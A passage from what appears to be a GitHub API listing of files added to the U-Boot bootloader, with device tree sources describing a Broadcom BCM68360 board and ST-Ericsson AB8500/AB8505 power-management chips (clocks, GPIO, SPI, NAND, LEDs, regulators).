\"brcm,bcm68360\";\n+\t#address-cells = <2>;\n+\t#size-cells = <2>;\n+\n+\taliases {\n+\t\tspi0 = &hsspi;\n+\t};\n+\n+\tcpus {\n+\t\t#address-cells = <2>;\n+\t\t#size-cells = <0>;\n+\t\tu-boot,dm-pre-reloc;\n+\n+\t\tcpu0: cpu@0 {\n+\t\t\tcompatible = \"arm,cortex-a53\", \"arm,armv8\";\n+\t\t\tdevice_type = \"cpu\";\n+\t\t\treg = <0x0 0x0>;\n+\t\t\tnext-level-cache = <&l2>;\n+\t\t\tu-boot,dm-pre-reloc;\n+\t\t};\n+\n+\t\tcpu1: cpu@1 {\n+\t\t\tcompatible = \"arm,cortex-a53\", \"arm,armv8\";\n+\t\t\tdevice_type = \"cpu\";\n+\t\t\treg = <0x0 0x1>;\n+\t\t\tnext-level-cache = <&l2>;\n+\t\t\tu-boot,dm-pre-reloc;\n+\t\t};\n+\n+\t\tl2: l2-cache0 {\n+\t\t\tcompatible = \"cache\";\n+\t\t\tu-boot,dm-pre-reloc;\n+\t\t};\n+\t};\n+\n+\tclocks {\n+\t\tcompatible = \"simple-bus\";\n+\t\t#address-cells = <2>;\n+\t\t#size-cells = <2>;\n+\t\tranges;\n+\t\tu-boot,dm-pre-reloc;\n+\n+\t\tperiph_osc: periph-osc {\n+\t\t\tcompatible = \"fixed-clock\";\n+\t\t\t#clock-cells = <0>;\n+\t\t\tclock-frequency = <200000000>;\n+\t\t\tu-boot,dm-pre-reloc;\n+\t\t};\n+\n+\t\thsspi_pll: hsspi-pll {\n+\t\t\tcompatible = \"fixed-factor-clock\";\n+\t\t\t#clock-cells = <0>;\n+\t\t\tclocks = <&periph_osc>;\n+\t\t\tclock-mult = <2>;\n+\t\t\tclock-div = <1>;\n+\t\t};\n+\n+\t\trefclk50mhz: refclk50mhz {\n+\t\t\tcompatible = \"fixed-clock\";\n+\t\t\t#clock-cells = <0>;\n+\t\t\tclock-frequency = <50000000>;\n+\t\t};\n+\t};\n+\n+\tubus {\n+\t\tcompatible = \"simple-bus\";\n+\t\t#address-cells = <2>;\n+\t\t#size-cells = <2>;\n+\t\tu-boot,dm-pre-reloc;\n+\n+\t\twdt1: watchdog@ff800480 {\n+\t\t\tcompatible = \"brcm,bcm6345-wdt\";\n+\t\t\treg = <0x0 0xff800480 0x0 0x14>;\n+\t\t\tclocks = <&refclk50mhz>;\n+\t\t};\n+\n+\t\twdt2: watchdog@ff8004c0 {\n+\t\t\tcompatible = \"brcm,bcm6345-wdt\";\n+\t\t\treg = <0x0 0xff8004c0 0x0 0x14>;\n+\t\t\tclocks = <&refclk50mhz>;\n+\t\t};\n+\n+\t\twdt-reboot {\n+\t\t\tcompatible = \"wdt-reboot\";\n+\t\t\twdt = <&wdt1>;\n+\t\t};\n+\n+\t\tuart0: serial@ff800640 {\n+\t\t\tcompatible = \"brcm,bcm6345-uart\";\n+\t\t\treg = <0x0 0xff800640 0x0 0x18>;\n+\t\t\tclocks = <&periph_osc>;\n+\n+\t\t\tstatus = \"disabled\";\n+\t\t};\n+\n+\t\tleds: led-controller@ff800800 {\n+\t\t\tcompatible = \"brcm,bcm6858-leds\";\n+\t\t\treg = <0x0 0xff800800 0x0 0xe4>;\n+\n+\t\t\tstatus = \"disabled\";\n+\t\t};\n+\n+\t\tgpio0: gpio-controller@0xff800500 {\n+\t\t\tcompatible = \"brcm,bcm6345-gpio\";\n+\t\t\treg = <0x0 0xff800500 0x0 0x4>,\n+\t\t\t <0x0 0xff800520 0x0 0x4>;\n+\t\t\tgpio-controller;\n+\t\t\t#gpio-cells = <2>;\n+\n+\t\t\tstatus = \"disabled\";\n+\t\t};\n+\n+\t\tgpio1: gpio-controller@0xff800504 {\n+\t\t\tcompatible = \"brcm,bcm6345-gpio\";\n+\t\t\treg = <0x0 0xff800504 0x0 0x4>,\n+\t\t\t <0x0 0xff800524 0x0 0x4>;\n+\t\t\tgpio-controller;\n+\t\t\t#gpio-cells = <2>;\n+\n+\t\t\tstatus = \"disabled\";\n+\t\t};\n+\n+\t\tgpio2: gpio-controller@0xff800508 {\n+\t\t\tcompatible = \"brcm,bcm6345-gpio\";\n+\t\t\treg = <0x0 0xff800508 0x0 0x4>,\n+\t\t\t <0x0 0xff800528 0x0 0x4>;\n+\t\t\tgpio-controller;\n+\t\t\t#gpio-cells = <2>;\n+\n+\t\t\tstatus = \"disabled\";\n+\t\t};\n+\n+\t\tgpio3: gpio-controller@0xff80050c {\n+\t\t\tcompatible = \"brcm,bcm6345-gpio\";\n+\t\t\treg = <0x0 0xff80050c 0x0 0x4>,\n+\t\t\t <0x0 0xff80052c 0x0 0x4>;\n+\t\t\tgpio-controller;\n+\t\t\t#gpio-cells = <2>;\n+\n+\t\t\tstatus = \"disabled\";\n+\t\t};\n+\n+\t\tgpio4: gpio-controller@0xff800510 {\n+\t\t\tcompatible = \"brcm,bcm6345-gpio\";\n+\t\t\treg = <0x0 0xff800510 0x0 0x4>,\n+\t\t\t <0x0 0xff800530 0x0 0x4>;\n+\t\t\tgpio-controller;\n+\t\t\t#gpio-cells = <2>;\n+\n+\t\t\tstatus = \"disabled\";\n+\t\t};\n+\n+\t\tgpio5: gpio-controller@0xff800514 {\n+\t\t\tcompatible = \"brcm,bcm6345-gpio\";\n+\t\t\treg = <0x0 0xff800514 0x0 0x4>,\n+\t\t\t <0x0 0xff800534 0x0 0x4>;\n+\t\t\tgpio-controller;\n+\t\t\t#gpio-cells = <2>;\n+\n+\t\t\tstatus = \"disabled\";\n+\t\t};\n+\n+\t\tgpio6: gpio-controller@0xff800518 {\n+\t\t\tcompatible = \"brcm,bcm6345-gpio\";\n+\t\t\treg = <0x0 0xff800518 0x0 0x4>,\n+\t\t\t <0x0 0xff800538 0x0 0x4>;\n+\t\t\tgpio-controller;\n+\t\t\t#gpio-cells = <2>;\n+\n+\t\t\tstatus = \"disabled\";\n+\t\t};\n+\n+\t\tgpio7: gpio-controller@0xff80051c {\n+\t\t\tcompatible = \"brcm,bcm6345-gpio\";\n+\t\t\treg = <0x0 0xff80051c 0x0 0x4>,\n+\t\t\t <0x0 0xff80053c 0x0 0x4>;\n+\t\t\tgpio-controller;\n+\t\t\t#gpio-cells = <2>;\n+\n+\t\t\tstatus = \"disabled\";\n+\t\t};\n+\n+\t\thsspi: spi-controller@ff801000 {\n+\t\t\tcompatible = \"brcm,bcm6328-hsspi\";\n+\t\t\t#address-cells = <1>;\n+\t\t\t#size-cells = <0>;\n+\t\t\treg = <0x0 0xff801000 0x0 0x600>;\n+\t\t\tclocks = <&hsspi_pll>, <&hsspi_pll>;\n+\t\t\tclock-names = \"hsspi\", \"pll\";\n+\t\t\tspi-max-frequency = <100000000>;\n+\t\t\tnum-cs = <8>;\n+\n+\t\t\tstatus = \"disabled\";\n+\t\t};\n+\n+\t\tnand: nand-controller@ff801800 {\n+\t\t\tcompatible = \"brcm,nand-bcm68360\",\n+\t\t\t\t \"brcm,brcmnand-v5.0\",\n+\t\t\t\t \"brcm,brcmnand\";\n+\t\t\treg-names = \"nand\", \"nand-int-base\", \"nand-cache\";\n+\t\t\treg = <0x0 0xff801800 0x0 0x180>,\n+\t\t\t <0x0 0xff802000 0x0 0x10>,\n+\t\t\t <0x0 0xff801c00 0x0 0x200>;\n+\t\t\tparameter-page-big-endian = <0>;\n+\n+\t\t\tstatus = \"disabled\";\n+\t\t};\n+\t};\n+};"}<_**next**_>{"sha": "c060294cc9252e0e92dc6357b7c2aeb56c9efbc8", "filename": "arch/arm/dts/bcm968360bg.dts", "status": "added", "additions": 168, "deletions": 0, "changes": 168, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/arch/arm/dts/bcm968360bg.dts", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/arch/arm/dts/bcm968360bg.dts", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/arch/arm/dts/bcm968360bg.dts?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -0,0 +1,168 @@\n+// SPDX-License-Identifier: GPL-2.0+\n+/*\n+ * Copyright (C) 2020 Philippe Reynes <philippe.reynes@softathome.com>\n+ */\n+\n+/dts-v1/;\n+\n+#include \"bcm68360.dtsi\"\n+\n+/ {\n+\tmodel = \"Broadcom bcm68360bg\";\n+\tcompatible = \"broadcom,bcm68360bg\", \"brcm,bcm68360\";\n+\n+\taliases {\n+\t\tserial0 = &uart0;\n+\t};\n+\n+\tchosen {\n+\t\tstdout-path = \"serial0:115200n8\";\n+\t};\n+\n+\tmemory {\n+\t\tdevice_type = \"memory\";\n+\t\treg = <0x0 0x0 0x0 0x20000000>;\n+\t};\n+};\n+\n+&uart0 {\n+\tu-boot,dm-pre-reloc;\n+\tstatus = \"okay\";\n+};\n+\n+&gpio0 {\n+\tstatus = \"okay\";\n+};\n+\n+&gpio1 {\n+\tstatus = \"okay\";\n+};\n+\n+&gpio2 {\n+\tstatus = \"okay\";\n+};\n+\n+&gpio3 {\n+\tstatus = \"okay\";\n+};\n+\n+&gpio4 {\n+\tstatus = \"okay\";\n+};\n+\n+&gpio5 {\n+\tstatus = \"okay\";\n+};\n+\n+&gpio6 {\n+\tstatus = \"okay\";\n+};\n+\n+&gpio7 {\n+\tstatus = \"okay\";\n+};\n+\n+&nand {\n+\tstatus = \"okay\";\n+\twrite-protect = <0>;\n+\t#address-cells = <1>;\n+\t#size-cells = <0>;\n+\n+\tnandcs@0 {\n+\t\tcompatible = \"brcm,nandcs\";\n+\t\treg = <0>;\n+\t\tnand-ecc-strength = <4>;\n+\t\tnand-ecc-step-size = <512>;\n+\t\tbrcm,nand-oob-sector-size = <16>;\n+\t};\n+};\n+\n+&leds {\n+\tstatus = \"okay\";\n+\t#address-cells = <1>;\n+\t#size-cells = <0>;\n+\tbrcm,serial-led-en-pol;\n+\tbrcm,serial-led-data-ppol;\n+\n+\tled@0 {\n+\t\treg = <0>;\n+\t\tlabel = \"red:alarm\";\n+\t};\n+\n+\tled@1 {\n+\t\treg = <1>;\n+\t\tlabel = \"green:wan\";\n+\t};\n+\n+\tled@2 {\n+\t\treg = <2>;\n+\t\tlabel = \"green:wps\";\n+\t};\n+\n+\tled@12 {\n+\t\treg = <12>;\n+\t\tlabel = \"orange:enet5.1\";\n+\t};\n+\n+\tled@13 {\n+\t\treg = <13>;\n+\t\tlabel = \"green:enet5.2\";\n+\t};\n+\n+\tled@14 {\n+\t\treg = <14>;\n+\t\tlabel = \"orange:enet5.2\";\n+\t};\n+\n+\tled@15 {\n+\t\treg = <15>;\n+\t\tlabel = \"green:enet5.1\";\n+\t};\n+\n+\tled@16 {\n+\t\treg = <16>;\n+\t\tlabel = \"green:usb1\";\n+\t};\n+\n+\tled@17 {\n+\t\treg = <17>;\n+\t\tlabel = \"green:voip1\";\n+\t};\n+\n+\tled@18 {\n+\t\treg = <18>;\n+\t\tlabel = \"green:voip2\";\n+\t};\n+\n+\tled@19 {\n+\t\treg = <19>;\n+\t\tlabel = \"green:enet6\";\n+\t};\n+\n+\tled@20 {\n+\t\treg = <20>;\n+\t\tlabel = \"orange:enet6\";\n+\t};\n+\n+\tled@21 {\n+\t\treg = <21>;\n+\t\tlabel = \"green:inet\";\n+\t};\n+\n+\tled@22 {\n+\t\treg = <22>;\n+\t\tlabel = \"green:usb2\";\n+\t};\n+};\n+\n+&hsspi {\n+\tstatus = \"okay\";\n+\n+\tflash: mt25@0 {\n+\t\tcompatible = \"jedec,spi-nor\";\n+\t\t#address-cells = <1>;\n+\t\t#size-cells = <1>;\n+\t\treg = <0>;\n+\t\tspi-max-frequency = <25000000>;\n+\t};\n+};"}<_**next**_>{"sha": "14d4d8617d759469e8a6f0e51da6ef53aadc3595", "filename": "arch/arm/dts/ste-ab8500.dtsi", "status": "added", "additions": 328, "deletions": 0, "changes": 328, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/arch/arm/dts/ste-ab8500.dtsi", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/arch/arm/dts/ste-ab8500.dtsi", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/arch/arm/dts/ste-ab8500.dtsi?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -0,0 +1,328 @@\n+// SPDX-License-Identifier: GPL-2.0-or-later\n+/*\n+ * Copyright 2012 Linaro Ltd\n+ */\n+\n+#include <dt-bindings/clock/ste-ab8500.h>\n+\n+/ {\n+\t/* Essential housekeeping hardware monitors */\n+\tiio-hwmon {\n+\t\tcompatible = \"iio-hwmon\";\n+\t\tio-channels = <&gpadc 0x02>, /* Battery temperature */\n+\t\t\t <&gpadc 0x03>, /* Main charger voltage */\n+\t\t\t <&gpadc 0x08>, /* Main battery voltage */\n+\t\t\t <&gpadc 0x09>, /* VBUS */\n+\t\t\t <&gpadc 0x0a>, /* Main charger current */\n+\t\t\t <&gpadc 0x0b>, /* USB charger current */\n+\t\t\t <&gpadc 0x0c>, /* Backup battery voltage */\n+\t\t\t <&gpadc 0x0d>, /* Die temperature */\n+\t\t\t <&gpadc 0x12>; /* Crystal temperature */\n+\t};\n+\n+\tsoc {\n+\t\tprcmu@80157000 {\n+\t\t\tab8500 {\n+\t\t\t\tcompatible = \"stericsson,ab8500\";\n+\t\t\t\tinterrupt-parent = <&intc>;\n+\t\t\t\tinterrupts = <GIC_SPI 40 IRQ_TYPE_LEVEL_HIGH>;\n+\t\t\t\tinterrupt-controller;\n+\t\t\t\t#interrupt-cells = <2>;\n+\n+\t\t\t\tab8500_clock: clock-controller {\n+\t\t\t\t\tcompatible = \"stericsson,ab8500-clk\";\n+\t\t\t\t\t#clock-cells = <1>;\n+\t\t\t\t};\n+\n+\t\t\t\tab8500_gpio: ab8500-gpio {\n+\t\t\t\t\tcompatible = \"stericsson,ab8500-gpio\";\n+\t\t\t\t\tgpio-controller;\n+\t\t\t\t\t#gpio-cells = <2>;\n+\t\t\t\t};\n+\n+\t\t\t\tab8500-rtc {\n+\t\t\t\t\tcompatible = \"stericsson,ab8500-rtc\";\n+\t\t\t\t\tinterrupts = <17 IRQ_TYPE_LEVEL_HIGH\n+\t\t\t\t\t\t 18 IRQ_TYPE_LEVEL_HIGH>;\n+\t\t\t\t\tinterrupt-names = \"60S\", \"ALARM\";\n+\t\t\t\t};\n+\n+\t\t\t\tgpadc: ab8500-gpadc {\n+\t\t\t\t\tcompatible = \"stericsson,ab8500-gpadc\";\n+\t\t\t\t\tinterrupts = <32 IRQ_TYPE_LEVEL_HIGH\n+\t\t\t\t\t\t 39 IRQ_TYPE_LEVEL_HIGH>;\n+\t\t\t\t\tinterrupt-names = \"HW_CONV_END\", \"SW_CONV_END\";\n+\t\t\t\t\tvddadc-supply = <&ab8500_ldo_tvout_reg>;\n+\t\t\t\t\t#address-cells = <1>;\n+\t\t\t\t\t#size-cells = <0>;\n+\t\t\t\t\t#io-channel-cells = <1>;\n+\n+\t\t\t\t\t/* GPADC channels */\n+\t\t\t\t\tbat_ctrl: channel@01 {\n+\t\t\t\t\t\treg = <0x01>;\n+\t\t\t\t\t};\n+\t\t\t\t\tbtemp_ball: channel@02 {\n+\t\t\t\t\t\treg = <0x02>;\n+\t\t\t\t\t};\n+\t\t\t\t\tmain_charger_v: channel@03 {\n+\t\t\t\t\t\treg = <0x03>;\n+\t\t\t\t\t};\n+\t\t\t\t\tacc_detect1: channel@04 {\n+\t\t\t\t\t\treg = <0x04>;\n+\t\t\t\t\t};\n+\t\t\t\t\tacc_detect2: channel@05 {\n+\t\t\t\t\t\treg = <0x05>;\n+\t\t\t\t\t};\n+\t\t\t\t\tadc_aux1: channel@06 {\n+\t\t\t\t\t\treg = <0x06>;\n+\t\t\t\t\t};\n+\t\t\t\t\tadc_aux2: channel@07 {\n+\t\t\t\t\t\treg = <0x07>;\n+\t\t\t\t\t};\n+\t\t\t\t\tmain_batt_v: channel@08 {\n+\t\t\t\t\t\treg = <0x08>;\n+\t\t\t\t\t};\n+\t\t\t\t\tvbus_v: channel@09 {\n+\t\t\t\t\t\treg = <0x09>;\n+\t\t\t\t\t};\n+\t\t\t\t\tmain_charger_c: channel@0a {\n+\t\t\t\t\t\treg = <0x0a>;\n+\t\t\t\t\t};\n+\t\t\t\t\tusb_charger_c: channel@0b {\n+\t\t\t\t\t\treg = <0x0b>;\n+\t\t\t\t\t};\n+\t\t\t\t\tbk_bat_v: channel@0c {\n+\t\t\t\t\t\treg = <0x0c>;\n+\t\t\t\t\t};\n+\t\t\t\t\tdie_temp: channel@0d {\n+\t\t\t\t\t\treg = <0x0d>;\n+\t\t\t\t\t};\n+\t\t\t\t\tusb_id: channel@0e {\n+\t\t\t\t\t\treg = <0x0e>;\n+\t\t\t\t\t};\n+\t\t\t\t\txtal_temp: channel@12 {\n+\t\t\t\t\t\treg = <0x12>;\n+\t\t\t\t\t};\n+\t\t\t\t\tvbat_true_meas: channel@13 {\n+\t\t\t\t\t\treg = <0x13>;\n+\t\t\t\t\t};\n+\t\t\t\t\tbat_ctrl_and_ibat: channel@1c {\n+\t\t\t\t\t\treg = <0x1c>;\n+\t\t\t\t\t};\n+\t\t\t\t\tvbat_meas_and_ibat: channel@1d {\n+\t\t\t\t\t\treg = <0x1d>;\n+\t\t\t\t\t};\n+\t\t\t\t\tvbat_true_meas_and_ibat: channel@1e {\n+\t\t\t\t\t\treg = <0x1e>;\n+\t\t\t\t\t};\n+\t\t\t\t\tbat_temp_and_ibat: channel@1f {\n+\t\t\t\t\t\treg = <0x1f>;\n+\t\t\t\t\t};\n+\t\t\t\t};\n+\n+\t\t\t\tab8500_temp {\n+\t\t\t\t\tcompatible = \"stericsson,abx500-temp\";\n+\t\t\t\t\tio-channels = <&gpadc 0x06>,\n+\t\t\t\t\t\t <&gpadc 0x07>;\n+\t\t\t\t\tio-channel-name = \"aux1\", \"aux2\";\n+\t\t\t\t};\n+\n+\t\t\t\tab8500_battery: ab8500_battery {\n+\t\t\t\t\tstericsson,battery-type = \"LIPO\";\n+\t\t\t\t\tthermistor-on-batctrl;\n+\t\t\t\t};\n+\n+\t\t\t\tab8500_fg {\n+\t\t\t\t\tcompatible = \"stericsson,ab8500-fg\";\n+\t\t\t\t\tbattery\t = <&ab8500_battery>;\n+\t\t\t\t\tio-channels = <&gpadc 0x08>;\n+\t\t\t\t\tio-channel-name = \"main_bat_v\";\n+\t\t\t\t};\n+\n+\t\t\t\tab8500_btemp {\n+\t\t\t\t\tcompatible = \"stericsson,ab8500-btemp\";\n+\t\t\t\t\tbattery\t = <&ab8500_battery>;\n+\t\t\t\t\tio-channels = <&gpadc 0x02>,\n+\t\t\t\t\t\t <&gpadc 0x01>;\n+\t\t\t\t\tio-channel-name = \"btemp_ball\",\n+\t\t\t\t\t\t\t\"bat_ctrl\";\n+\t\t\t\t};\n+\n+\t\t\t\tab8500_charger {\n+\t\t\t\t\tcompatible\t= \"stericsson,ab8500-charger\";\n+\t\t\t\t\tbattery\t\t= <&ab8500_battery>;\n+\t\t\t\t\tvddadc-supply\t= <&ab8500_ldo_tvout_reg>;\n+\t\t\t\t\tio-channels = <&gpadc 0x03>,\n+\t\t\t\t\t\t <&gpadc 0x0a>,\n+\t\t\t\t\t\t <&gpadc 0x09>,\n+\t\t\t\t\t\t <&gpadc 0x0b>;\n+\t\t\t\t\tio-channel-name = \"main_charger_v\",\n+\t\t\t\t\t\t\t\"main_charger_c\",\n+\t\t\t\t\t\t\t\"vbus_v\",\n+\t\t\t\t\t\t\t\"usb_charger_c\";\n+\t\t\t\t};\n+\n+\t\t\t\tab8500_chargalg {\n+\t\t\t\t\tcompatible\t= \"stericsson,ab8500-chargalg\";\n+\t\t\t\t\tbattery\t\t= <&ab8500_battery>;\n+\t\t\t\t};\n+\n+\t\t\t\tab8500_usb {\n+\t\t\t\t\tcompatible = \"stericsson,ab8500-usb\";\n+\t\t\t\t\tinterrupts = < 90 IRQ_TYPE_LEVEL_HIGH\n+\t\t\t\t\t\t 96 IRQ_TYPE_LEVEL_HIGH\n+\t\t\t\t\t\t 14 IRQ_TYPE_LEVEL_HIGH\n+\t\t\t\t\t\t 15 IRQ_TYPE_LEVEL_HIGH\n+\t\t\t\t\t\t 79 IRQ_TYPE_LEVEL_HIGH\n+\t\t\t\t\t\t 74 IRQ_TYPE_LEVEL_HIGH\n+\t\t\t\t\t\t 75 IRQ_TYPE_LEVEL_HIGH>;\n+\t\t\t\t\tinterrupt-names = \"ID_WAKEUP_R\",\n+\t\t\t\t\t\t\t \"ID_WAKEUP_F\",\n+\t\t\t\t\t\t\t \"VBUS_DET_F\",\n+\t\t\t\t\t\t\t \"VBUS_DET_R\",\n+\t\t\t\t\t\t\t \"USB_LINK_STATUS\",\n+\t\t\t\t\t\t\t \"USB_ADP_PROBE_PLUG\",\n+\t\t\t\t\t\t\t \"USB_ADP_PROBE_UNPLUG\";\n+\t\t\t\t\tvddulpivio18-supply = <&ab8500_ldo_intcore_reg>;\n+\t\t\t\t\tv-ape-supply = <&db8500_vape_reg>;\n+\t\t\t\t\tmusb_1v8-supply = <&db8500_vsmps2_reg>;\n+\t\t\t\t\tclocks = <&prcmu_clk PRCMU_SYSCLK>;\n+\t\t\t\t\tclock-names = \"sysclk\";\n+\t\t\t\t};\n+\n+\t\t\t\tab8500-ponkey {\n+\t\t\t\t\tcompatible = \"stericsson,ab8500-poweron-key\";\n+\t\t\t\t\tinterrupts = <6 IRQ_TYPE_LEVEL_HIGH\n+\t\t\t\t\t\t 7 IRQ_TYPE_LEVEL_HIGH>;\n+\t\t\t\t\tinterrupt-names = \"ONKEY_DBF\", \"ONKEY_DBR\";\n+\t\t\t\t};\n+\n+\t\t\t\tab8500-sysctrl {\n+\t\t\t\t\tcompatible = \"stericsson,ab8500-sysctrl\";\n+\t\t\t\t};\n+\n+\t\t\t\tab8500-pwm {\n+\t\t\t\t\tcompatible = \"stericsson,ab8500-pwm\";\n+\t\t\t\t\tclocks = <&ab8500_clock AB8500_SYSCLK_INT>;\n+\t\t\t\t\tclock-names = \"intclk\";\n+\t\t\t\t};\n+\n+\t\t\t\tab8500-debugfs {\n+\t\t\t\t\tcompatible = \"stericsson,ab8500-debug\";\n+\t\t\t\t};\n+\n+\t\t\t\tcodec: ab8500-codec {\n+\t\t\t\t\tcompatible = \"stericsson,ab8500-codec\";\n+\n+\t\t\t\t\tV-AUD-supply = <&ab8500_ldo_audio_reg>;\n+\t\t\t\t\tV-AMIC1-supply = <&ab8500_ldo_anamic1_reg>;\n+\t\t\t\t\tV-AMIC2-supply = <&ab8500_ldo_anamic2_reg>;\n+\t\t\t\t\tV-DMIC-supply = <&ab8500_ldo_dmic_reg>;\n+\n+\t\t\t\t\tclocks = <&ab8500_clock AB8500_SYSCLK_AUDIO>;\n+\t\t\t\t\tclock-names = \"audioclk\";\n+\n+\t\t\t\t\tstericsson,earpeice-cmv = <950>; /* Units in mV. */\n+\t\t\t\t};\n+\n+\t\t\t\text_regulators: ab8500-ext-regulators {\n+\t\t\t\t\tcompatible = \"stericsson,ab8500-ext-regulator\";\n+\n+\t\t\t\t\tab8500_ext1_reg: ab8500_ext1 {\n+\t\t\t\t\t\tregulator-min-microvolt = <1800000>;\n+\t\t\t\t\t\tregulator-max-microvolt = <1800000>;\n+\t\t\t\t\t\tregulator-boot-on;\n+\t\t\t\t\t\tregulator-always-on;\n+\t\t\t\t\t};\n+\n+\t\t\t\t\tab8500_ext2_reg: ab8500_ext2 {\n+\t\t\t\t\t\tregulator-min-microvolt = <1360000>;\n+\t\t\t\t\t\tregulator-max-microvolt = <1360000>;\n+\t\t\t\t\t\tregulator-boot-on;\n+\t\t\t\t\t\tregulator-always-on;\n+\t\t\t\t\t};\n+\n+\t\t\t\t\tab8500_ext3_reg: ab8500_ext3 {\n+\t\t\t\t\t\tregulator-min-microvolt = <3400000>;\n+\t\t\t\t\t\tregulator-max-microvolt = <3400000>;\n+\t\t\t\t\t\tregulator-boot-on;\n+\t\t\t\t\t};\n+\t\t\t\t};\n+\n+\t\t\t\tab8500-regulators {\n+\t\t\t\t\tcompatible = \"stericsson,ab8500-regulator\";\n+\t\t\t\t\tvin-supply = <&ab8500_ext3_reg>;\n+\n+\t\t\t\t\t// supplies to the display/camera\n+\t\t\t\t\tab8500_ldo_aux1_reg: ab8500_ldo_aux1 {\n+\t\t\t\t\t\tregulator-min-microvolt = <2500000>;\n+\t\t\t\t\t\tregulator-max-microvolt = <2900000>;\n+\t\t\t\t\t\tregulator-boot-on;\n+\t\t\t\t\t\t/* BUG: If turned off MMC will be affected. */\n+\t\t\t\t\t\tregulator-always-on;\n+\t\t\t\t\t};\n+\n+\t\t\t\t\t// supplies to the on-board eMMC\n+\t\t\t\t\tab8500_ldo_aux2_reg: ab8500_ldo_aux2 {\n+\t\t\t\t\t\tregulator-min-microvolt = <1100000>;\n+\t\t\t\t\t\tregulator-max-microvolt = <3300000>;\n+\t\t\t\t\t};\n+\n+\t\t\t\t\t// supply for VAUX3; SDcard slots\n+\t\t\t\t\tab8500_ldo_aux3_reg: ab8500_ldo_aux3 {\n+\t\t\t\t\t\tregulator-min-microvolt = <1100000>;\n+\t\t\t\t\t\tregulator-max-microvolt = <3300000>;\n+\t\t\t\t\t};\n+\n+\t\t\t\t\t// supply for v-intcore12; VINTCORE12 LDO\n+\t\t\t\t\tab8500_ldo_intcore_reg: ab8500_ldo_intcore {\n+\t\t\t\t\t};\n+\n+\t\t\t\t\t// supply for tvout; gpadc; TVOUT LDO\n+\t\t\t\t\tab8500_ldo_tvout_reg: ab8500_ldo_tvout {\n+\t\t\t\t\t};\n+\n+\t\t\t\t\t// supply for ab8500-vaudio; VAUDIO LDO\n+\t\t\t\t\tab8500_ldo_audio_reg: ab8500_ldo_audio {\n+\t\t\t\t\t};\n+\n+\t\t\t\t\t// supply for v-anamic1 VAMIC1 LDO\n+\t\t\t\t\tab8500_ldo_anamic1_reg: ab8500_ldo_anamic1 {\n+\t\t\t\t\t};\n+\n+\t\t\t\t\t// supply for v-amic2; VAMIC2 LDO; reuse constants for AMIC1\n+\t\t\t\t\tab8500_ldo_anamic2_reg: ab8500_ldo_anamic2 {\n+\t\t\t\t\t};\n+\n+\t\t\t\t\t// supply for v-dmic; VDMIC LDO\n+\t\t\t\t\tab8500_ldo_dmic_reg: ab8500_ldo_dmic {\n+\t\t\t\t\t};\n+\n+\t\t\t\t\t// supply for U8500 CSI/DSI; VANA LDO\n+\t\t\t\t\tab8500_ldo_ana_reg: ab8500_ldo_ana {\n+\t\t\t\t\t};\n+\t\t\t\t};\n+\t\t\t};\n+\t\t};\n+\n+\t\tsound {\n+\t\t\tstericsson,audio-codec = <&codec>;\n+\t\t\tclocks = <&prcmu_clk PRCMU_SYSCLK>, <&ab8500_clock AB8500_SYSCLK_ULP>, <&ab8500_clock AB8500_SYSCLK_INT>;\n+\t\t\tclock-names = \"sysclk\", \"ulpclk\", \"intclk\";\n+\t\t};\n+\n+\t\tmcde@a0350000 {\n+\t\t\tvana-supply = <&ab8500_ldo_ana_reg>;\n+\n+\t\t\tdsi@a0351000 {\n+\t\t\t\tvana-supply = <&ab8500_ldo_ana_reg>;\n+\t\t\t};\n+\t\t\tdsi@a0352000 {\n+\t\t\t\tvana-supply = <&ab8500_ldo_ana_reg>;\n+\t\t\t};\n+\t\t\tdsi@a0353000 {\n+\t\t\t\tvana-supply = <&ab8500_ldo_ana_reg>;\n+\t\t\t};\n+\t\t};\n+\t};\n+};"}<_**next**_>{"sha": "c72aa250bf6fe9144389197401bbd2cb5668fbd3", "filename": "arch/arm/dts/ste-ab8505.dtsi", "status": "added", "additions": 275, "deletions": 0, "changes": 275, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/arch/arm/dts/ste-ab8505.dtsi", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/arch/arm/dts/ste-ab8505.dtsi", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/arch/arm/dts/ste-ab8505.dtsi?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -0,0 +1,275 @@\n+// SPDX-License-Identifier: GPL-2.0-or-later\n+/*\n+ * Copyright 2012 Linaro Ltd\n+ */\n+\n+#include <dt-bindings/clock/ste-ab8500.h>\n+\n+/ {\n+\t/* Essential housekeeping hardware monitors */\n+\tiio-hwmon {\n+\t\tcompatible = \"iio-hwmon\";\n+\t\tio-channels = <&gpadc 0x02>, /* Battery temperature */\n+\t\t\t <&gpadc 0x08>, /* Main battery voltage */\n+\t\t\t <&gpadc 0x09>, /* VBUS */\n+\t\t\t <&gpadc 0x0b>, /* Charger current */\n+\t\t\t <&gpadc 0x0c>; /* Backup battery voltage */\n+\t};\n+\n+\tsoc {\n+\t\tprcmu@80157000 {\n+\t\t\tab8505 {\n+\t\t\t\tcompatible = \"stericsson,ab8505\";\n+\t\t\t\tinterrupt-parent = <&intc>;\n+\t\t\t\tinterrupts = <GIC_SPI 40 IRQ_TYPE_LEVEL_HIGH>;\n+\t\t\t\tinterrupt-controller;\n+\t\t\t\t#interrupt-cells = <2>;\n+\n+\t\t\t\tab8500_clock: clock-controller {\n+\t\t\t\t\tcompatible = \"stericsson,ab8500-clk\";\n+\t\t\t\t\t#clock-cells = <1>;\n+\t\t\t\t};\n+\n+\t\t\t\tab8505_gpio: ab8505-gpio {\n+\t\t\t\t\tcompatible = \"stericsson,ab8505-gpio\";\n+\t\t\t\t\tgpio-controller;\n+\t\t\t\t\t#gpio-cells = 